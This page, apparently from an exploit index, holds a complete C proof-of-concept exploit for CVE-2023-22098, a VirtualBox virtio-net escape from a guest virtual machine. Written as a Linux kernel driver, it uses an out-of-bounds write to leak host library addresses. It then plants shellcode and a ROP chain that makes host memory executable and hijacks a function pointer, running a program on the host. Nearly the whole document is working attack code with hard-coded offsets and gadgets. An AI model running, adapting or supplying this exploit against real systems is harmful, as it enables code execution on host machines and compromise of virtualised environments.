4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.c C
#include <linux/virtio_config.h>
#include <linux/scatterlist.h>
#include <linux/virtio_net.h>
#include <linux/virtio_pci.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/virtio.h>
#include <linux/device.h>
#include <linux/pci.h>

#define WORD                                2
#define VIRTIONET_CTRL_VLAN                 2               /**< Control class: VLAN filtering */
#define VIRTIONET_CTRL_VLAN_ADD             0               /**< Add VLAN to filter table */
#define VIRTIONET_CTRL_VLAN_DEL             1               /**< Delete VLAN from filter table */

#define RTMEM_PROT_NONE                     0               /** No access at all. */
#define RTMEM_PROT_READ                     1               /** Read access. */
#define RTMEM_PROT_WRITE                    2               /** Write access. */
#define RTMEM_PROT_EXEC                     4               /** Execute access. */

#define LocDeviceCap_off                    1844            /** 1844 | 8 VIRTIO_PCI_CAP_LOCATIONS_T LocDeviceCap; */
#define LocDeviceCap_offMmio_off            0               /** 0 | 2 uint16_t offMmio; */
#define LocDeviceCap_cbMmio_off             2               /** 2 | 2 uint16_t cbMmio; */

#define LocCommonCfgCap_off                 1828            /** 1828 | 8 VIRTIO_PCI_CAP_LOCATIONS_T LocCommonCfgCap; */
#define LocCommonCfgCap_off_offMmio         0               /** 0      |     2     uint16_t offMmio; */
#define LocCommonCfgCap_off_cbMmio          2               /** 2      |     2     uint16_t cbMmio; */

#define uCapVndr_off                        0               /** 0 | uint8_t uCapVndr; */
#define VIRTIO_REGION_PCI_CAP               2
#define uBar_off                            4               /** 4 | uint8_t uBar; */
#define uOffset_off                         8               /** 8 | uint32_t uOffset; */
#define uLength_off                         12              /** 12 | uint32_t uLength; */

#define uPciCfgDataOff_off                  1799
#define uMsixVector_off                     26
#define uEnable_off                         28
#define uNotifyOffset_off                   30
#define pfnConfigRead_off                   24
#define aVlanFilter_off                     3172
#define uVirtqSelect_off                    1802

#define virtioR3PciConfigRead_off_VBoxDD    0x370df7

#define VirtioNetSize                       7536
#define PPDMCRITSECTSize                    256

#define pCritSectRoR3                       VirtioNetSize + 16
#define apPciDevs                           pCritSectRoR3 + PPDMCRITSECTSize
#define PDMPCIDEVINT_s                      apPciDevs + 64

#define pop_rax_ret                         0x1d8489
#define pop_rdx_ret                         0x0ac71a
#define pop_rdi_ret                         0x4024e4
#define pop_rsi_ret                         0x402563
#define RTErrInfoSet_off                    0x7b4f38
#define mov_rax_ptr_rax_pop_rbp_ret         0x0e935e
#define add_rax_rdx_pop_rbp_ret             0x0656a0
#define mov_ptr_rdx_rax_nop_pop_rbp_ret     0x595f99

#define ROP_off                             0xd00 - 0x200
#define shellcode_off                       ROP_off - 0x200


struct command_entry {
  struct virtio_net_ctrl_hdr hdr;
	__virtio16 vlanId;
};

struct dp_xpl {
	struct virtqueue *vqueues[3];
	struct command_entry *ctrl;
	struct pci_dev *pci_dev;
};


/*
*   @param offset  uVlanId
*/
void oob_write(struct dp_xpl *dev, struct virtio_device *vdev, uint64_t value, uint16_t offset, uint8_t nbits)
{
	struct scatterlist *psgs[1];
	struct scatterlist sgs[1];
	unsigned int len;
	uint8_t i;
	uint8_t cmd;

	for(i = 0; i < nbits; i++)
	{
		if (value & (1ULL << i))
			cmd = VIRTIONET_CTRL_VLAN_ADD;
		else
			cmd = VIRTIONET_CTRL_VLAN_DEL;

		// Setting the control header
		dev->ctrl->hdr.class = VIRTIONET_CTRL_VLAN;
		dev->ctrl->hdr.cmd   = cmd;
		dev->ctrl->vlanId    = cpu_to_virtio16(vdev, offset * 8 + i);

		// Initialize scatterlist
		sg_init_one(&sgs[0], dev->ctrl, sizeof(struct command_entry) + 4);
		psgs[0] = &sgs[0];

		// Add the buffer to the control queue
		virtqueue_add_sgs(dev->vqueues[2], psgs, 1, 0, dev, GFP_KERNEL);

		// Kick queue to process the command
		virtqueue_kick(dev->vqueues[2]);

		// Wait for the command to be processed
		while (!virtqueue_get_buf(dev->vqueues[2], &len) && !virtqueue_is_broken(dev->vqueues[2]))
		{
			cpu_relax();
		}
	}
}

static void leak_addr(struct virtio_device *vdev, struct dp_xpl *dev, uint32_t uOffset, uint32_t uLength, uint16_t uVirtqSelect)
{

	oob_write(dev, vdev, 0x00, pCritSectRoR3 + uPciCfgDataOff_off - aVlanFilter_off, 8);
	oob_write(dev, vdev, uVirtqSelect, pCritSectRoR3 + uVirtqSelect_off - aVlanFilter_off, 16);

	/*
	* gef➤  p pVirtio
	* $65 = (PVIRTIOCORE) 0x7fffb00561c0
	* 
	* gef➤  p &pVirtioCC->pPciCfgCap->pciCap
	* $66 = (virtio_pci_cap *) 0x7fffb00564c0
	* 
	* gef➤  p/x 0x7fffb00564c0 - 0x7fffb00561c0
	* $67 = 0x300
	*/

	oob_write(dev, vdev, 0xff, pCritSectRoR3 + 0x300 + uCapVndr_off - aVlanFilter_off, 8);
	oob_write(dev, vdev, VIRTIO_REGION_PCI_CAP, pCritSectRoR3 + 0x300 + uBar_off - aVlanFilter_off, 8);
	oob_write(dev, vdev, uOffset, pCritSectRoR3 + 0x300 + uOffset_off - aVlanFilter_off, 8);
	oob_write(dev, vdev, uLength, pCritSectRoR3 + 0x300 + uLength_off - aVlanFilter_off, 8);

	oob_write(dev, vdev, 0x00, pCritSectRoR3 + LocDeviceCap_off + LocDeviceCap_offMmio_off - aVlanFilter_off, 16);
	oob_write(dev, vdev, 0x00, pCritSectRoR3 + LocDeviceCap_off + LocDeviceCap_cbMmio_off - aVlanFilter_off, 16);

	oob_write(dev, vdev, 0x00, pCritSectRoR3 + LocCommonCfgCap_off + LocCommonCfgCap_off_offMmio - aVlanFilter_off, 16);
	oob_write(dev, vdev, 0xff, pCritSectRoR3 + LocCommonCfgCap_off + LocCommonCfgCap_off_cbMmio - aVlanFilter_off, 16);

	// We modify pDevInsR3 to point to pDevInsR3 + 0x10.
	oob_write(dev, vdev, 0x10, PDMPCIDEVINT_s - aVlanFilter_off, 8);
}


static int dp_virtio_net_probe(struct virtio_device *vdev)
{
  	static vq_callback_t *callbacks[]   = {NULL, NULL, NULL};
	struct dp_xpl *dev                  = NULL;
	static const char *names[]          = {"rx", "tx", "ctrl"};
	uint16_t val                        = 0;
	uint64_t pDevInsR3_addr             = 0;
	uint64_t virtioR3PciConfigRead_addr = 0;
	uint64_t VBoxDD_addr                = 0;
	int rc                              = 0;
	int i                               = 0;

	unsigned char shellcode[] = {
	0x48, 0x31, 0xc0, 0xb0, 0x39, 0x0f, 0x05, 0x48, 0x85, 0xc0, 0x74, 0x1d,
	0x48, 0x31, 0xf6, 0x48, 0x31, 0xd2, 0x4d, 0x31, 0xd2, 0x48, 0x89, 0xc7,
	0xb8, 0x3d, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xb8, 0x3c, 0x00, 0x00, 0x00,
	0x48, 0x31, 0xff, 0x0f, 0x05, 0x48, 0xbb, 0xff, 0x2f, 0x67, 0x65, 0x64,
	0x69, 0x74, 0x00, 0x48, 0xc1, 0xeb, 0x08, 0x53, 0x48, 0xbb, 0x2f, 0x75,
	0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x53, 0x54, 0x5f, 0x48, 0xbb, 0xff,
	0x3a, 0x30, 0x2e, 0x30, 0x00, 0x00, 0x00, 0x48, 0xc1, 0xeb, 0x08, 0x53,
	0x48, 0xbb, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x53, 0x54,
	0x5a, 0x48, 0x31, 0xc0, 0x50, 0x52, 0x54, 0x5a, 0x50, 0x57, 0x54, 0x5e,
	0xb0, 0x3b, 0x0f, 0x05, 0xb8, 0x3c, 0x00, 0x00, 0x00, 0xbf, 0x01, 0x00,
	0x00, 0x00, 0x0f, 0x05
	};




	pr_info("==> probe\n");

	dev = kzalloc(sizeof(struct dp_xpl), GFP_KERNEL);
	if (!dev) return -ENOMEM;

	dev->ctrl = kzalloc(sizeof(struct command_entry), GFP_KERNEL);
	if (!dev->ctrl) return -ENOMEM;

	rc = virtio_find_vqs(vdev, 3, dev->vqueues, callbacks, names, NULL);
	if (rc) return rc;

	vdev->priv = dev;

	virtio_device_ready(vdev);

	pr_info("[+] device ready [+]\n");

	dev->pci_dev = to_pci_dev(vdev->dev.parent);

	leak_addr(vdev, dev, uNotifyOffset_off, WORD, 0);
	pci_read_config_word(dev->pci_dev, 0, &val);
	pDevInsR3_addr |= ((uint64_t)val << 32);

	leak_addr(vdev, dev, uEnable_off, WORD, 0);
	pci_read_config_word(dev->pci_dev, 0, &val);
	pDevInsR3_addr |= ((uint64_t)val << 16);

	leak_addr(vdev, dev, uMsixVector_off, WORD, 0);
	pci_read_config_word(dev->pci_dev, 0, &val);
	pDevInsR3_addr |= val;

	printk("[+] pDevInsR3_addr: 0x%llx\n", pDevInsR3_addr);

	leak_addr(vdev, dev, uNotifyOffset_off, WORD, 4);
	pci_read_config_word(dev->pci_dev, 0, &val);
	virtioR3PciConfigRead_addr |= ((uint64_t)val << 32);

	leak_addr(vdev, dev, uEnable_off, WORD, 4);
	pci_read_config_word(dev->pci_dev, 0, &val);
	virtioR3PciConfigRead_addr |= ((uint64_t)val << 16);

	leak_addr(vdev, dev, uMsixVector_off, WORD, 4);
	pci_read_config_word(dev->pci_dev, 0, &val);
	virtioR3PciConfigRead_addr |= val;

	printk("[+] virtioR3PciConfigRead_addr: 0x%llx\n", virtioR3PciConfigRead_addr);

	VBoxDD_addr = virtioR3PciConfigRead_addr - virtioR3PciConfigRead_off_VBoxDD;

	printk("[+] VBoxDD: 0x%llx\n", VBoxDD_addr);

	//copy payload
	for (i = 0; i < sizeof(shellcode); i++)
	{
		oob_write(dev, vdev, shellcode[i], PDMPCIDEVINT_s + shellcode_off + i - aVlanFilter_off, 8);
	}

	oob_write(dev, vdev, 0xdeadbeef, PDMPCIDEVINT_s + ROP_off - aVlanFilter_off, 64);

	oob_write(dev, vdev, VBoxDD_addr + pop_rax_ret, PDMPCIDEVINT_s + ROP_off + (0x8 * 1) - aVlanFilter_off, 64); //pop rax
	oob_write(dev, vdev, VBoxDD_addr + RTErrInfoSet_off, PDMPCIDEVINT_s + ROP_off + (0x8 * 2) - aVlanFilter_off, 64); //RTErrInfoSet
	oob_write(dev, vdev, VBoxDD_addr + mov_rax_ptr_rax_pop_rbp_ret, PDMPCIDEVINT_s + ROP_off + (0x8 * 3) - aVlanFilter_off, 64); //mov rax, qword ptr [rax]; pop rbp; ret;
	oob_write(dev, vdev, 0xdeadbeef, PDMPCIDEVINT_s + ROP_off + (0x8 * 4) - aVlanFilter_off, 64); //rbp value

	//calculate RTMemProtect relative to RTErrInfoSet.
	oob_write(dev, vdev, VBoxDD_addr + pop_rdx_ret, PDMPCIDEVINT_s + ROP_off +  (0x8 * 5) - aVlanFilter_off, 64); //pop rdx
	oob_write(dev, vdev, 0x270be2, PDMPCIDEVINT_s + ROP_off + (0x8 * 6) - aVlanFilter_off, 64); //valor rdx
	oob_write(dev, vdev, VBoxDD_addr + add_rax_rdx_pop_rbp_ret, PDMPCIDEVINT_s + ROP_off +  (0x8 * 7) - aVlanFilter_off, 64); //add rax, rdx; pop rbp; ret;
	oob_write(dev, vdev, 0xdeadbeef, PDMPCIDEVINT_s + ROP_off + (0x8 * 8) - aVlanFilter_off, 64); //valor rbp

	oob_write(dev, vdev, VBoxDD_addr + pop_rdx_ret, PDMPCIDEVINT_s + ROP_off +  (0x8 * 9)  - aVlanFilter_off, 64); //pop rdx
	oob_write(dev, vdev, pDevInsR3_addr + 0x3000 - 0x200 + (19 * 8), PDMPCIDEVINT_s + ROP_off + (0x8 * 10) - aVlanFilter_off, 64); //rdx value

	oob_write(dev, vdev, VBoxDD_addr + mov_ptr_rdx_rax_nop_pop_rbp_ret, PDMPCIDEVINT_s + ROP_off + (0x8 * 11) - aVlanFilter_off, 64); //mov qword ptr [rdx], rax; nop; pop rbp; ret;
	oob_write(dev, vdev, 0xdeadbeef, PDMPCIDEVINT_s + ROP_off + (0x8 * 12) - aVlanFilter_off, 64); //valor rbp

	//at this point, we have written the address of RTMemProtect into our ROP chain area.
 	oob_write(dev, vdev, VBoxDD_addr + pop_rdi_ret, PDMPCIDEVINT_s + ROP_off +  (0x8 * 13) - aVlanFilter_off, 64); //pop rdi
	oob_write(dev, vdev, pDevInsR3_addr + 0x3000 - 0x200 - 0x200, PDMPCIDEVINT_s + ROP_off + (0x8 * 14) - aVlanFilter_off, 64); //rdi value
 	oob_write(dev, vdev, VBoxDD_addr + pop_rsi_ret, PDMPCIDEVINT_s + ROP_off +  (0x8 * 15) - aVlanFilter_off, 64); //pop rsi
	oob_write(dev, vdev, 0x1000, PDMPCIDEVINT_s + ROP_off                    + (0x8 * 16)  - aVlanFilter_off, 64); //rsi value
 	oob_write(dev, vdev, VBoxDD_addr + pop_rdx_ret, PDMPCIDEVINT_s + ROP_off +  (0x8 * 17) - aVlanFilter_off, 64); //pop rdx
	oob_write(dev, vdev, RTMEM_PROT_READ | RTMEM_PROT_WRITE | RTMEM_PROT_EXEC, PDMPCIDEVINT_s + ROP_off + (0x8 * 18) - aVlanFilter_off, 64); //rdx value

	oob_write(dev, vdev, pDevInsR3_addr + 0x3000 - 0x200 - 0x200, PDMPCIDEVINT_s + ROP_off + (0x8 * 20) - aVlanFilter_off, 64);

	//modify pDevInsR3.
	oob_write(dev, vdev, pDevInsR3_addr + 0x3000 - 0x200, PDMPCIDEVINT_s - aVlanFilter_off, 64);

	oob_write(dev, vdev, VBoxDD_addr + 0x4d1a2f, PDMPCIDEVINT_s + pfnConfigRead_off - aVlanFilter_off, 64);

	//win
	pci_read_config_word(dev->pci_dev, 0, &val);

	return 0;
}

static void dp_virtio_net_remove(struct virtio_device *vdev)
{
	struct dp_xpl *dev = vdev->priv;

	// Reset the device and free the virtqueues 
	vdev->config->reset(vdev);
	vdev->config->del_vqs(vdev);
	kfree(dev->ctrl);
	kfree(dev);

	pr_info("[+] virtio-net removed [+].\n");
}

static const struct virtio_device_id dp_virtio_net_id_table[] = {
	{ VIRTIO_ID_NET, VIRTIO_DEV_ANY_ID },
	{ 0 },
};

static struct virtio_driver dp_virtio_net = {
	.driver.name = "dp_virtio_net",
	.id_table    = dp_virtio_net_id_table,
	.probe       = dp_virtio_net_probe,
	.remove      = dp_virtio_net_remove,
};

// The `module_init` and `module_exit` functions are already implicit in the `module_virtio_driver` macro.
module_virtio_driver(dp_virtio_net);

MODULE_DESCRIPTION("PoC CVE-2023-22098");
MODULE_AUTHOR("DiegoAltF4");
MODULE_LICENSE("GPL");